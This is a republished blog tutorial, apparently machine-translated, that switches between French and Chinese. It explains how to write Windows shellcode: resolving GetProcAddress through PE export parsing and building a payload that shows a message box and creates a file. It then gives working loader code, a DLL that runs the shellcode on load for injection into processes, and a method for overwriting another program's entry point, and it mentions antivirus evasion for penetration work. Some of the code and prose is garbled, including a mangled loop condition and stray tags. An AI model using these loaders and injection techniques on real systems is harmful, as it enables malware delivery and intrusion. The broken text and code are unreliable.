Maison  >  Article  >  Opération et maintenance  >  Que signifie le shellcode ?

Que signifie le shellcode ?

王林
王林avant
2023-05-28 15:01:593105parcourir

1. Introduction aux points de pré-connaissance de la programmation shellcode

Qu'est-ce que le shellcode ?

L'essence du shellcode est en fait un morceau de code assembleur qui peut s'exécuter indépendamment. Il n'a aucune structure de fichiers, il ne repose sur aucun environnement de compilation et ne peut pas être double-cliqué pour s'exécuter comme un exe. Je n'entrerai pas ici dans les détails du shellcode spécifique. Vous pouvez rechercher vous-même des informations pertinentes sur Baidu.

Pourquoi écrire votre propre shellcode ?

Parce que j'ai fait beaucoup de pénétration au cours des six derniers mois, les shellcodes utilisés sont tous générés par CS ou MSF. Cependant, le shellcode généré automatiquement par l'outil est après tout mort, et il n'y a aucun moyen d'étendre la fonction. par vous-même. Un autre exemple est que vous connaissez une nouvelle vulnérabilité, mais pour l'exploitation de la vulnérabilité, le POC ne peut faire apparaître qu'une calculatrice. Si vous souhaitez réaliser la fonction souhaitée, vous devez écrire le shellcode vous-même. Il est donc particulièrement important de le faire. maîtriser la technologie d'écriture du shellcode, et le shellcode est également essentiel pour les débordements de tampon et les vers.

Problèmes rencontrés lors de l'écriture du shellcode

Si vous souhaitez écrire du shellcode vous-même, vous devez connaître les points de connaissances les plus importants dans l'écriture du shellcode. Ci-dessous, je listerai les points qui doivent être résolus sous forme de questions :

1. Le shellcode est aussi un programme s'il veut fonctionner normalement, il doit également utiliser diverses données (telles que des chaînes globales, etc.), mais nous savons tous que les variables globales sont accessibles à des adresses fixes (codées en dur, c'est-à-dire codé en dur) (ne peut pas être modifié), et notre shellcode peut être configuré pour s'exécuter n'importe où dans n'importe quel programme. Comment pouvons-nous garantir que le shellcode peut accéder avec précision aux données requises dans ce cas ?

2. Le Shellcode s'exécute également dans le système d'exploitation et doit appeler certaines API système. Comment pouvons-nous obtenir les adresses de ces API ?

3. Si l'API dont nous avons besoin n'est pas importée dans le programme exécuté par Shellcode et que nous devons l'utiliser, que devons-nous faire ?

Pour des raisons d'espace, vous pouvez trouver les réponses à ces questions dans les trois articles "Introduction au développement de shellcode sur plate-forme Windows 1, 2 et 3" traduits par l'auteur principal de FB Rabbit_Run. Fondamentalement, toutes les connaissances préalables nécessaires pour écrire du shellcode. est couvert. C’est impliqué, vous pouvez apporter vos questions pour trouver des réponses.

2. Introduction au framework de programmation shellcode

Cadre de programmation shellcode :

Après avoir connu ces pré-connaissances, il sera toujours gênant et difficile d'écrire du shellcode uniquement à la main, tout comme l'écriture de code js natif est bien inférieure à l'utilisation de js. comme jquery. Le framework est pratique et rapide à développer. Par conséquent, nous devons établir un cadre de programmation shellcode qui facilite l’écriture de fonctions personnalisées. Il existe de nombreux frameworks de programmation de shellcode de ce type sur Internet, tels que celui que TK a utilisé pour l'open source, les deux que Teacher OneBugMan a écrits auparavant, etc. J'ai écrit un framework de programmation de shellcode lorsque j'étudiais à l'école, mais je ne peux pas je ne le trouve plus, et pendant cette période d'infiltration, j'ai oublié une grande partie de mes connaissances antérieures, j'ai donc écrit un framework shellcode et l'ai pratiqué sur la base du cours dispensé par OneBugMan (si vous êtes intéressé, vous pouvez soutenir l'open du professeur classe, ce qui est très bien).

Introduction à la structure du framework

Que signifie le shellcode ?

                                                                          Utilisez le projet vide Win32 pour créer ce projet et sélectionnez la configuration relative/x86 pour la compilation. Avant de compiler, nous devons effectuer les paramètres suivants :

1. Désactivez la vérification SDL lors de la création du projet

2 Propriétés->C/C++->Génération de code->Bibliothèque d'exécution->Multi-threading. (/MT) S'il s'agit d'un débogage, définissez-le sur MTD

3. Propriétés->Général->Platform Toolset->Définir sur Visual Studio 2015- Windows XP (v140_xp). Sinon, vous pouvez installer le correspondant. Composants compatibles XP.

4. Propriétés->C/C++->Génération de code->Désactiver le contrôle de sécurité GS

5. Désactivez Générer les propriétés du manifeste->Linker->Fichier manifeste->Générer Manifest Select No

Ce qui suit présente le rôle de chaque fichier :

1.api.h——>Les pointeurs de fonction des fonctions système utilisées par le shellcode, et une structure contenant ces pointeurs de fonction.

2.header.h——>Fichier d'en-tête et déclaration de fonction de la fonction personnalisée.

3.0.entry.cpp——> Entrée du framework, créez le fichier shellcode final généré.

4.a.start.cpp——> Marque la position de départ du shellcode, qui est utilisé pour effectuer les pré-opérations avant l'écriture du shellcode et l'initialisation des fonctions utilisées

5.b.work.cpp——> Exécution du shellcode, implémentation de fonctions spécifiques

6.z.end.cpp——>Marquer la position finale du shellcode

La raison pour laquelle les fichiers sont nommés de cette manière est qu'ils sont disposés d'abord avec des chiffres, puis avec des lettres. Les fichiers du projet sont nommés de cette façon afin que lors de la compilation et de la génération de l'exe, ils soient compilés et générés dans l'ordre indiqué. dans la figure ci-dessous. L'ordre des fonctions dans le segment de code exe est également organisé en fonction de l'ordre des fonctions dans le fichier ci-dessous, afin que nous puissions facilement calculer la taille du Shellcode (ShellcodeEnd dans z.end moins ShellcodeStart dans a.start. est la taille du shellcode), écrivant ainsi le shellcode dans le fichier final généré.

Que signifie le shellcode ?                                                                                       Les noms sont cohérents, sinon le point d'entrée est introuvable car nous Le point d'entrée a été modifié de sorte que certaines fonctions du formulaire C ne peuvent pas être utilisées directement et doivent être remplacées par des formulaires d'appel dynamiques. Il y a aussi le calcul du. taille du shellcode que nous écrivons.

                                                                       Préparation : obtenir dynamiquement la matrice de kernel32.dll et utiliser le format de fichier PE pour obtenir le GetProc Adresse de la fonction et obtenir en outre l'adresse LoadLibrary Avec ces étapes préliminaires, nous pouvons obtenir les adresses de n'importe quelle autre API, puis réalisez les différentes fonctions de notre shellcode. Obtenez l'adresse de la fonction GetProcAddress. La raison pour laquelle la chaîne GetProcAddress doit être écrite comme indiqué ci-dessous est que si vous utilisez cette méthode d'écriture, char str[]="xxxxx"; au segment rdata du programme et devient une adresse absolue, l'utilisation d'adresses absolues provoquera des erreurs d'exécution du shellcode.

FARPROC getProcAddress(HMODULE hModuleBase)
{
    FARPROC pRet = NULL;
    PIMAGE_DOS_HEADER lpDosHeader;
    PIMAGE_NT_HEADERS32 lpNtHeaders;
    PIMAGE_EXPORT_DIRECTORY lpExports;
    PWORD lpwOrd;
    PDWORD lpdwFunName;
    PDWORD lpdwFunAddr;
    DWORD dwLoop;

    lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
    {
        return pRet;
    }
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
    {
        return pRet;
    }
    lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (!lpExports->NumberOfNames)
    {
        return pRet;
    }
    lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
    lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
    lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
    for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++)
    {
        char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
        if (pszFunction[0] == 'G'
            &&pszFunction[1] == 'e'
            &&pszFunction[2] == 't'
            &&pszFunction[3] == 'P'
            &&pszFunction[4] == 'r'
            &&pszFunction[5] == 'o'
            &&pszFunction[6] == 'c'
            &&pszFunction[7] == 'A'
            &&pszFunction[8] == 'd'
            &&pszFunction[9] == 'd'
            &&pszFunction[10] == 'r'
            &&pszFunction[11] == 'e'
            &&pszFunction[12] == 's'
            &&pszFunction[13] == 's')
        {
            pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);
            break;
        }
    }
    return pRet;
}
Que signifie le shellcode ?Dans la partie fonction d'initialisation ci-dessous, nous devons savoir dans quelle DLL se trouve la fonction que nous utilisons. Par exemple, si nous voulons utiliser la fonction system() pour exécuter une commande, nous devons d'abord charger msvCRT.dll via la figure ci-dessous, puis via getprocaddress La fonction trouve la fonction système. N'oubliez pas que la chaîne de commande utilisée dans la fonction système (comme appeler la calculatrice) doit également être écrite comme char szCalc[] = { 'c','a','l','c',0}; .                                                               Demandez bonjour, puis créez un document 1.txt.


                                                                                         sc.bin, dans ce fichier le fichier que nous utilisons 010Editor ouvre sc.bin pour voir le shellcode généré.

Que signifie le shellcode ?                                                               图7 生成的shellcode

下面介绍几种shellcode运行方式:

1、(使用010Editor直接复制出来shellcode)直接替换某程序的二进制

例如我们想让dbgview.exe运行我们生成的shellcode

第一步:我们使用lordPE查看dbgview.exe程序的入口点。

Que signifie le shellcode ?

然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。

2、把shellcode直接写到代码中生成exe程序运行(源码A)、或者生成dll再写注入器或者使用工具注入到某进程中(源码B)

源码A

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode";
void main()
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
}</stdio.h></windows.h>

源码B

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
//data段可读写
#pragma comment(linker, "/section:.data,RWE") 
HANDLE My_hThread = NULL;
//void(*ptrceshi)() = NULL;
typedef void(__stdcall *CODE) ();
unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode";
DWORD  WINAPI ceshi(LPVOID pParameter)
{
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
    {
    }
        if (!(memcpy(p, shellcode, sizeof(shellcode))))
        {
        }
    CODE code = (CODE)p;
    code();
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}</iostream></windows.h>
具体操作可以参考我发的上篇文章《shellcode免杀实战里面的步骤》。

3、自己写加载器

我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。

代码如下

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main(int argc, char* argv[])
{
    HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open  File Error!%d\n", GetLastError());
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError());
        CloseHandle(hFile);
        return -1;

    }
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    __asm
    {
        call lpAddress;

    }
    _flushall();
    system("pause");
    return 0;
}</windows.h></stdlib.h></stdio.h>

写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin

4、使用别人写好的加载器

如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。

原帖子链接工具链接

我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式

Que signifie le shellcode ?

这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。

Que signifie le shellcode ?

因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。

Que signifie le shellcode ?

Que signifie le shellcode ?

至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer